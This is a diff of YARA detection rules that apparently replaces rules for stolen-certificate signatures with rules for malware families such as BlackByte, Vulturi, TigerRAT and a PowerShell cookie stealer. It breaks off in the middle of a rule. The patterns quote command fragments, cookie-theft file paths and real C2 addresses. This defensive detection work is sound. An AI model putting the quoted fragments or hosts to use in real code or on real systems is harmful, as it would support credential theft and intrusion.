-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LICHFIELD STUDIO GLASS LIMITED" and pe.signatures[i].serial=="04:78:01:d5:b5:5c:80:0b:48:41:1f:d8:c3:20:ca:5b")
+		uint16(0)==0x5a4d and (1 of ($x*) or 8 of ($s*) or (4 of ($b*) and 4 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Ceb6B2Eec12934A64F75A4592159F084 : FILE
+rule DITEKSHEN_MALWARE_Win_Onlylogger : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects OnlyLogger loader variants"
 		author = "ditekSHen"
-		id = "a37bf0a2-3205-515c-9957-374108e199e9"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "525aa2a0-5090-5f96-999b-67ca4379f897"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5366-L5377"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8863-L8882"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3e4aa8d970ead42bf1abb36a922ef31ac1b1aa308944cf099d6bbfb50e07c588"
+		logic_hash = "1b39a4d2a6d3a2633cfa98adc1dfe99d10d2493fd06c9f875c56ec7689b7a561"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "ccd30b68e37fc177b754250767a16062a711310a"
-		importance = 20
+
+	strings:
+		$s1 = { 45 6c 65 76 61 74 65 64 00 00 00 00 4e 4f 54 20 65 6c 65 76 61 74 65 64 }
+		$s2 = "\" /f & erase \"" ascii
+		$s3 = "/c taskkill /im \"" ascii
+		$s4 = "KILLME" fullword ascii
+		$s5 = "C:\\Windows\\System32\\cmd.exe" fullword ascii
+		$gn = ".php?pub=" ascii
+		$ip = /\/1[a-z0-9A-Z]{4,5}/ fullword ascii
+		$h1 = "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1" fullword ascii
+		$h2 = "Accept-Language: ru-RU,ru;q=0.9,en;q=0.8" fullword ascii
+		$h3 = "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1" fullword ascii
+		$h4 = "Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0" fullword ascii
+		$h5 = "Content-Type: application/x-www-form-urlencoded" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "WMade by H5et.com" and pe.signatures[i].serial=="ce:b6:b2:ee:c1:29:34:a6:4f:75:a4:59:21:59:f0:84")
+		uint16(0)==0x5a4d and ( all of ($s*) or (#ip>5 and ($gn or 3 of ($s*) or all of ($h*))) or ( all of ($h*) and 3 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6B6739E55F3F25B147C4A6767De41F57 : FILE
+rule DITEKSHEN_MALWARE_Win_Blackbytego : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects BlackByte ransomware Go variants"
 		author = "ditekSHen"
-		id = "ee84787b-cc90-545d-8e15-bf84676f222c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "25431446-8cce-54cc-925d-5d9147344c6d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5379-L5391"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8884-L8904"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		hash = "da0921c1e416b3734272dfa619f88c8cd32e9816cdcbeeb81d9e2b2e8a95af4c"
-		logic_hash = "9d1a20f3dfa6c31ed557e531f7a57c64032e518c033993234849882ef769fcbd"
+		logic_hash = "b3e6a4a2f043293e8693cfbe1515681ce0616d98e2492732fc06a01a96309883"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "07a09d3d3c05918519d6f357fe7eed5e1d529f22"
-		importance = 20
+
+	strings:
+		$x1 = "BlackByteGO/_cgo_gotypes.go" fullword ascii
+		$x3 = "BlackByteGO/" ascii nocase
+		$s1 = ".Disconnect" ascii
+		$s2 = ".OpenService" ascii
+		$s3 = ".ListServices" ascii
+		$s4 = ".Start" ascii
+		$s5 = ".Encrypt" ascii
+		$s6 = ".Decrypt" ascii
+		$s7 = ".MustFindProc" ascii
+		$s8 = ".QuoRem" ascii
+		$s9 = "C:\\Windows\\regedit.exe" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Avast Antivirus SEC" and pe.signatures[i].serial=="6b:67:39:e5:5f:3f:25:b1:47:c4:a6:76:7d:e4:1f:57")
+		uint16(0)==0x5a4d and (1 of ($x*) or all of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B97F66Bb221772Dc07Ef1D4Bed8F6085 : FILE
+rule DITEKSHEN_MALWARE_Win_Vulturi : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Vulturi infostealer"
 		author = "ditekSHen"
-		id = "c0797751-d03c-59c7-a02a-27e6f466bd96"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "dca814d6-ca26-5315-9f80-628ee50e8dfa"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5393-L5404"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8906-L8931"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e68f6ebbeadc9381c2888abf77e040f27648a40d770524830f8a49fe2d11534f"
+		logic_hash = "4d1d88764dd72ae78a74b802e11c2f28899b7b9f45c54cf3bf7aaac49dd48d7f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "fb4efb3bfcef8e9a667c8657f2e3c8fb7436666e"
-		importance = 20
+
+	strings:
+		$x1 = "Vulturi_" ascii wide
+		$x2 = "VulturiProject" fullword ascii
+		$s1 = { 5b 00 2d 00 5d 00 20 00 53 00 65 00 72 00 76 00
+               65 00 72 00 20 00 ?? ?? 20 00 69 00 73 00 20 00
+               6f 00 66 00 66 00 6c 00 69 00 6e 00 65 00 2e 00
+               2e 00 2e 00 00 ?? 5b 00 2b 00 5d 00 20 00 53 00
+               65 00 72 00 76 00 65 00 72 00 20 00 00 ?? ?? 00
+               69 00 73 00 20 00 6f 00 6e 00 6c 00 69 00 6e 00
+               65 00 }
+		$s2 = "Writing is not alowed" wide
+		$s3 = "System\\ProcessList.txt" fullword wide
+		$s4 = "[X] GetSSL ::" fullword wide
+		$s5 = "Failed to steal " wide
+		$s6 = "StealerStub" fullword ascii
+		$s7 = "/C chcp 65001 && netsh" wide
+		$n1 = "fetch_options" fullword wide
+		$n2 = "send_report" fullword wide
+		$n3 = "?username=" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "S-PRO d.o.o." and pe.signatures[i].serial=="00:b9:7f:66:bb:22:17:72:dc:07:ef:1d:4b:ed:8f:60:85")
+		uint16(0)==0x5a4d and ((1 of ($x*) and any of them ) or all of ($n*) or 5 of ($s*) or (1 of ($n*) and 3 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Cc95D6Ebf18A3711E196Aea210465A19 : FILE
+rule DITEKSHEN_MALWARE_Win_Tofsee : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Tofsee"
 		author = "ditekSHen"
-		id = "bd6957ac-d5e0-5e77-87b3-a62c442f7f72"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "86371c0b-72f9-56c0-9f34-f14d2a069c91"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5406-L5417"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8933-L8949"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "640ba6d64ad7e0791ef29d3ee9387e0944826f22f01a6a01486f6b3ac4138826"
+		logic_hash = "9ef06643173c70c5b06b19200cb5b5efa7db7eb3516b67621f0b1975f1c80781"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "319f0e03f0f230629258c7ea05e7d56ead830ce9"
-		importance = 20
+
+	strings:
+		$s1 = "n%systemroot%\\system32\\cmd.exe" fullword wide
+		$s2 = "loader_id" fullword ascii
+		$s3 = "start_srv" fullword ascii
+		$s4 = "lid_file_upd" fullword ascii
+		$s5 = "localcfg" fullword ascii
+		$s6 = "Incorrect respons" fullword ascii
+		$s7 = "mx connect error" fullword ascii
+		$s8 = "Error sending command (sent = %d/%d)" fullword ascii
+		$s9 = "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GEN Sistemi, d.o.o." and pe.signatures[i].serial=="00:cc:95:d6:eb:f1:8a:37:11:e1:96:ae:a2:10:46:5a:19")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Dde89C647Dc2138244228040E324Dc77 : FILE
+rule DITEKSHEN_MALWARE_Win_Khonsari : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Khonsari ransomware"
 		author = "ditekSHen"
-		id = "5008d334-964a-516b-895e-761ae94e5bd4"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "2d562e62-a948-570d-8ff2-cc4835b91573"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5419-L5430"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8951-L8963"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d6c11a277f855ad8a4b235e1461ad024c4490d04530b91ecb47c8fcf8dee1239"
+		logic_hash = "2a78f36259481fccb31b2e6248fed19699b6eb05bacfd08905414764c3045943"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "1d9aaa1bc7d6fc5a76295dd1cf692fe4a1283f04"
-		importance = 20
+
+	strings:
+		$x1 = ".khonsari" fullword wide nocase
+		$s1 = "Encrypt" fullword ascii
+		$s2 = "CreateEncryptor" fullword ascii
+		$s3 = "GenerateKey" fullword ascii
+		$s4 = "277e5e6a-4da6-4138-97fa-3fecbdad0176" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "WMade by H5et.com" and pe.signatures[i].serial=="dd:e8:9c:64:7d:c2:13:82:44:22:80:40:e3:24:dc:77")
+		uint16(0)==0x5a4d and ((1 of ($x*) and 2 of ($s*)) or ( all of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Fed006Fbf85Cd1C6Ba6B4345B198E1E6 : FILE
+rule DITEKSHEN_MALWARE_Win_Quantum : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Quantum locker / ransomware"
 		author = "ditekSHen"
-		id = "8f7d0337-7840-5c6e-b562-dbaef1a7c022"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "76a9240e-5b4f-5a1e-9841-e5ba855fb06f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5432-L5443"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8965-L8987"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "26690cb1ef7eb9b7009376b4c2a30505f01184f4462478f65379372e84e02bc8"
+		logic_hash = "f35422d1f52f1f9f55a5e38c782d2cf621cd84da028358ab250584334d41249c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4bc67aca336287ff574978ef3bf67c688f6449f2"
-		importance = 20
+
+	strings:
+		$x1 = "\\t<title>Quantum</title>" ascii wide
+		$x2 = "Quantum Locker.<br><br>" ascii wide
+		$s1 = "ERROR" fullword wide
+		$s2 = ".log" fullword wide
+		$s3 = "SLOW" fullword wide
+		$s4 = "Create" fullword wide
+		$s5 = "Integrity" fullword wide
+		$s6 = "Disabled" fullword wide
+		$s7 = "Deny" fullword wide
+		$s8 = "FAST" fullword wide
+		$s9 = "Mandatory" fullword wide
+		$s10 = "plugin.dll" fullword ascii
+		$s11 = "NetGetDCName" fullword ascii
+		$s12 = "NetShareEnum" fullword ascii
+		$s13 = "NetGetJoinInformation" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LoL d.o.o." and pe.signatures[i].serial=="00:fe:d0:06:fb:f8:5c:d1:c6:ba:6b:43:45:b1:98:e1:e6")
+		( uint16(0)==0x5a4d and ( all of ($x*) or 9 of ($s*) or (pe.number_of_exports==2 and pe.exports("RunW") and pe.exports("runW") and 5 of ($s*)))) or all of ($x*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4E7545C9Fc5938F5198Ab9F1749Ca31C : FILE
+rule DITEKSHEN_MALWARE_Win_Tigerrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects TigerRAT"
 		author = "ditekSHen"
-		id = "af27fbf7-f4e2-59e9-8b2b-b353704ce9d6"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "34340632-6bb3-588d-aa6f-89d2c5c8789b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5445-L5456"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8989-L9005"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4b7bc07622ad3f7ec77f4bb0d51350c82734af4b73a26ecd21955e55e99bb515"
+		logic_hash = "2254aff3da03b65cf4da3fb6eb2138dba6b41237d565609f3b67e60dee116d13"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7a49677c535a13d0a9b6deb539d084ff431a5b54"
-		importance = 20
+
+	strings:
+		$m1 = ".?AVModuleKeyLogger@@" fullword ascii
+		$m2 = ".?AVModulePortForwarder@@" fullword ascii
+		$m3 = ".?AVModuleScreenCapture@@" fullword ascii
+		$m4 = ".?AVModuleShell@@" fullword ascii
+		$s1 = "\\x9891-009942-xnopcopie.dat" fullword wide
+		$s2 = "(%02d : %02d-%02d %02d:%02d:%02d)--- %s[Clipboard]" fullword ascii
+		$s3 = "[%02d : %02d-%02d %02d:%02d:%02d]--- %s[Title]" fullword ascii
+		$s4 = "del \"%s\"%s \"%s\" goto " ascii
+		$s5 = "[<<]" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "For M d.o.o." and pe.signatures[i].serial=="4e:75:45:c9:fc:59:38:f5:19:8a:b9:f1:74:9c:a3:1c")
+		uint16(0)==0x5a4d and ( all of ($s*) or ( all of ($m*) and 1 of ($s*)) or (2 of ($m*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_040F11F124A73Bdecc41259845A8A773 : FILE
+rule DITEKSHEN_MALWARE_Win_Owowa : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Owowa"
 		author = "ditekSHen"
-		id = "0502773a-356e-5eae-9c37-e1ef89de3547"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c0a61601-e810-5acc-91a3-fa70db6d94da"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5458-L5469"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9007-L9025"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "70edbe8be481ccb7b5c6a6485c2ac249ec5120a4cde18d551954cfeaae121f27"
+		logic_hash = "afdeb30845ed4ef7b79e733e05d3e1ee53a8c441db74519577893d75c1249a41"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6f332f7e78cac4a6c35209fde248ef317f7a23e8"
-		importance = 20
+
+	strings:
+		$u1 = "jFuLIXpzRdateYHoVwMlfc" fullword ascii wide
+		$u2 = "Fb8v91c6tHiKsWzrulCeqO" fullword ascii wide
+		$u3 = "dEUM3jZXaDiob8BrqSy2PQO1" fullword ascii wide
+		$s1 = "powershell.exe" fullword wide
+		$s2 = "<RSAKeyValue><Modulus>" wide
+		$s3 = "HealthMailbox" fullword wide
+		$s4 = "6801b573-4cdb-4307-8d4a-3d1e2842f09f" ascii
+		$s5 = "<PreSend_RequestContent>b__" ascii
+		$s6 = "ClearHeaders" fullword ascii
+		$s7 = "get_UserHostAddress" fullword ascii
+		$s8 = "ExtenderControlDesigner" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TrustPort" and pe.signatures[i].serial=="04:0f:11:f1:24:a7:3b:de:cc:41:25:98:45:a8:a7:73")
+		uint16(0)==0x5a4d and ( all of ($u*) or (2 of ($u*) and 3 of ($s*)) or 6 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1B1E87E90519D7273C0033Bf489B798F : FILE
+rule DITEKSHEN_MALWARE_Win_Chebka : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Chebka"
 		author = "ditekSHen"
-		id = "b154ae08-108c-5980-a611-5e086877af2a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "df486522-695c-56f5-b93a-6f16829a3a3e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5471-L5483"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9027-L9048"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		hash = "84cef0aed269e6213bfa213d95a3db625bcdde130f33bf4227436985e4473252"
-		logic_hash = "b47f80ecc895e73d69c60a5e88d6a6c95fcb9bddb30f14a1421b68aabc2290c9"
+		logic_hash = "cc8123a5d20fac51d4dfc225e743539456efb4d649060d078c3ed93e7724da01"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ef09824554f85603c9ffb1cecbfe06ae489a9583"
-		importance = 20
+
+	strings:
+		$s1 = "-k netsvcs" wide
+		$s2 = "%ssvchost.exe -k SystemNetworkService" wide
+		$s3 = "Mozilla/4.0 (compatible)" wide
+		$s4 = "_kasssperskdy" wide
+		$s5 = "winssyslog" wide
+		$s6 = "LoaderDll%d" wide
+		$s7 = "cmd.exe /c rundll32.exe shell32.dll," wide
+		$s8 = /cmd.exe \/c start (chrome|msedge|firefox|iexplorer)\.exe/ wide
+		$f1 = ".?AVCHVncManager@@" fullword ascii
+		$f2 = ".?AVCNetstatManager@@" fullword ascii
+		$f3 = ".?AVCTcpAgentListener@@" fullword ascii
+		$f4 = ".?AVIUdpClientListener@@" fullword ascii
+		$f5 = ".?AVCShellManager@@" fullword ascii
+		$f6 = ".?AVCScreenSpy@@" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "IBIS, OOO" and pe.signatures[i].serial=="1b:1e:87:e9:05:19:d7:27:3c:00:33:bf:48:9b:79:8f")
+		uint16(0)==0x5a4d and (5 of ($s*) or all of ($f*) or (3 of ($f*) and 3 of ($s*)) or (#s8>2 and 5 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D9E834182Dec62C654E775E809Ac1D1B : FILE
+rule DITEKSHEN_MALWARE_Win_Flagpro : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Flagpro"
 		author = "ditekSHen"
-		id = "ce1640b7-6631-5e8f-a2df-0716b2f86b99"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "da1bf899-feb5-5ed0-956e-c20bc3565a6e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5485-L5497"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9050-L9067"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		hash = "645dbb6df97018fafb4285dc18ea374c721c86349cb75494c7d63d6a6afc27e6"
-		logic_hash = "3e7ca9aec19f118c7a143826838244f3f8d0a603a44980522f5227a9c3a82a88"
+		logic_hash = "c5e5944426b7be690ad62dd0d98a8fc6f8135cab0dbdd8a5aaf1670491eda59d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "5bb983693823dbefa292c86d93b92a49ec6f9b26"
-		importance = 20
+
+	strings:
+		$s1 = "download...." fullword ascii
+		$s2 = "~MYTEMP" fullword wide
+		$s3 = ".?AVCV20_LoaderApp@@" fullword ascii
+		$s4 = ".?AVCV20_LoaderDlg@@" fullword ascii
+		$s5 = "ExecYes" fullword ascii
+		$s6 = /<BODY ID=CV\d+_LoaderDlg BGCOLOR=/ ascii
+		$n1 = "://139.162.87.180" wide
+		$n2 = "://172.104.109.217" wide
+		$n3 = "://org.misecure.com/index.html" wide
+		$b1 = /(get all|click|close|maybe|get_outerHTML|download\d) (finished|pass|ok|windows|failed)!/ fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FoodLehto Oy" and pe.signatures[i].serial=="00:d9:e8:34:18:2d:ec:62:c6:54:e7:75:e8:09:ac:1d:1b")
+		uint16(0)==0x5a4d and 4 of ($s*) or (1 of ($n*) and (2 of ($s*) or 1 of ($b*))) or (2 of ($s*) and 1 of ($b*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Ced87Bd70B092Cb93B182Fac32655F6 : FILE
+rule DITEKSHEN_MALWARE_Win_Nplusminer
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PowerShell based NPlusMiner"
 		author = "ditekSHen"
-		id = "5e716e70-0c78-5194-9134-0ee140221610"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a16b504f-e69a-5abb-8e37-01bf7c2df6ef"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5499-L5511"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9069-L9082"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		hash = "083d5efb4da09432a206cb7fba5cef2c82dd6cc080015fe69c2b36e71bca6c89"
-		logic_hash = "3d4d84a60095e608fbd774f2b3a0f86e32dd9fe25801da06ee10188425a029e0"
+		logic_hash = "f6b81c2276765455d46e20ed81e19caa3ae36a31827568486a09bc1619ec478c"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "97b7602ed71480756cf6e4658a107f8278a48096"
-		importance = 20
+		tags = ""
+		snort_sid = "920284"
+
+	strings:
+		$s1 = "$Core | Add-Member @{IsReadOnly = $((Get-ItemProperty -Path \".\\Includes\\Core.ps1\").IsReadOnly)} -Force" fullword ascii
+		$s2 = "$Core | Add-Member @{MinerCustomConfig = $((Get-Content \".\\Config\\MinerCustomConfig.json\" -Raw))} -Force" fullword ascii
+		$s3 = "If ($Variables.CheatGuy -and $Core.corehash -in $Hashes -and $Core.ScriptStartDate -le (Get-Date)" ascii
+		$s4 = "Try{(Get-ItemProperty -Path \".\\Includes\\Core.ps1\").IsReadOnly = $false} catch {}" fullword ascii
+		$s5 = " NPlusMiner/" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Creator Soft Limited" and pe.signatures[i].serial=="0c:ed:87:bd:70:b0:92:cb:93:b1:82:fa:c3:26:55:f6")
+		3 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1Afd1491D52F89Ba41Fa6C0281Bb9716 : FILE
+rule DITEKSHEN_MALWARE_Win_PWSH_Poshcookiestealer
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects PowerShell PoshCookieStealer"
 		author = "ditekSHen"
-		id = "a0e5569f-7895-519b-9c1b-9cea3126391f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "7326a056-288b-534b-811d-172bd6936d7b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5513-L5524"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9084-L9098"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "071895cc37527aa634410dc79bf1656068e4c2b9f61d24912160c5f847e154f9"
+		logic_hash = "234958098d09732675dd539e8d25c6754ba50bf92b3a19e7fef8c68d70503ec4"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "e4362228dd69c25c1d4ba528549fa00845a8dc24"
-		importance = 20
+		tags = ""
+
+	strings:
+		$s1 = "\\User Data\\default\\Network\\Cookies" ascii nocase
+		$s2 = "Send-ToEmail" ascii
+		$s3 = "[Security.Cryptography.ProtectedData]::Unprotect($" ascii
+		$s4 = "$($env:LOCALAPPDATA)\\" ascii
+		$s5 = "$($env:HOMEPATH)\\" ascii
+		$s6 = "|ForEach-Object ToString X2) -join ''" ascii
+		$s7 = ".Attachments.Add($" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TestCert" and pe.signatures[i].serial=="1a:fd:14:91:d5:2f:89:ba:41:fa:6c:02:81:bb:97:16")
+		5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_719Ac44966D05762Ef95245Eefcf3046 : FILE
+rule DITEKSHEN_MALWARE_Win_Garrantdecrypt : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects GarrantDecrypt ransomware"
 		author = "ditekSHen"
-		id = "e215971c-67f0-5fdb-9525-7aef2559674f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e3be3663-9978-5b8e-b6b2-0f44f269adb2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
